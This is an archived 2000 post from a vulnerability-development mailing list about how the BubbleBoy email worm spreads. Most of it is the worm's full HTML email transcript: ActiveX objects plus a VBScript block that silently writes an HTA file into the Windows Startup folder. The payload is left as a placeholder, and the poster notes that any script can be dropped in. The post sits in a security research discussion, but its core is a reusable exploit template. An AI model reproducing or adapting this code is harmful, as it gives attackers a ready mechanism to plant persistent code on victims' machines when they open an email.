Vulnerability Development mailing list archives

Re: Bubble Boy Virus Spreading Mechanism

From: hecix () HOTMAIL COM (Mr Hecix)
Date: Tue, 16 May 2000 10:40:06 GMT

Ok, I don't want to e-mail the ACTUAL virus code cause that might be
illegal, but here is the e-mail transcript that actually writes the file to
the harddisk.

------------------E-mail Transcript---------------
Subject: BubbleBoy is back!
Date: Thu, 4 Nov 1999 19:34:22 -0300
Message-ID: <xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx>
MIME-Version: 1.0
Content-Type: multipart/alternative;
        boundary="----=_NextPart_000_0001_01BF2559.F21D8080"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

This is a multi-part message in MIME format.

------=_NextPart_000_0001_01BF2559.F21D8080
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

The BubbleBoy incident, pictures and sounds

http://www.towns.com/dorms/tom/bblboy.htm

------=_NextPart_000_0001_01BF2559.F21D8080
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>
BubbleBoy is back!
</title>
</head>
<body alink="#ffffff" bgcolor="#000000" link="#ffffff" text="#ffffff"
vlink="#ffffff">
<font face="arial" size="4">
<strong>
The BubbleBoy incident, pictures and sounds
</strong>
<br>
<br>
<a
href="http://www.towns.com/dorms/tom/bblboy.htm";><A 
HREF="http://www.towns.com/dorms/tom/bblboy.htm</a">http://www.towns.com/dorms/tom/bblboy.htm</a</A>>
</font>
<object classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC" id="Vandelay">
</object>
<object classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC" id="SoupNazi">
</object>
<script language="VBScript">
On Error Resume Next
Vandelay.Path = "C:\WINDOWS\START MENU\PROGRAMS\STARTUP\UPDATE.HTA"

Vandelay.Doc = " ** HERE INSERT THE VIRUS CODE IN HTML FORMAT ** "

Vandelay.Write
</script>
</body>
</html>
----------------------E-Mail Transcript---------------------

You just put what you want into "Vandelay.Doc = " statement. VBScript,
JScript whatever.

Very clever really.

________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com

Current thread:

Re: Bubble Boy Virus Spreading Mechanism Maxime Rousseau (May 15)
- <Possible follow-ups>
- Re: Bubble Boy Virus Spreading Mechanism Mr Hecix (May 16)
- Re: Bubble Boy Virus Spreading Mechanism Mr Hecix (May 16)
- Re: Bubble Boy Virus Spreading Mechanism Andrew Leong (May 16)
  - Re: Bubble Boy Virus Spreading Mechanism Masial (May 16)
- Re: Bubble Boy Virus Spreading Mechanism . Hecix (May 17)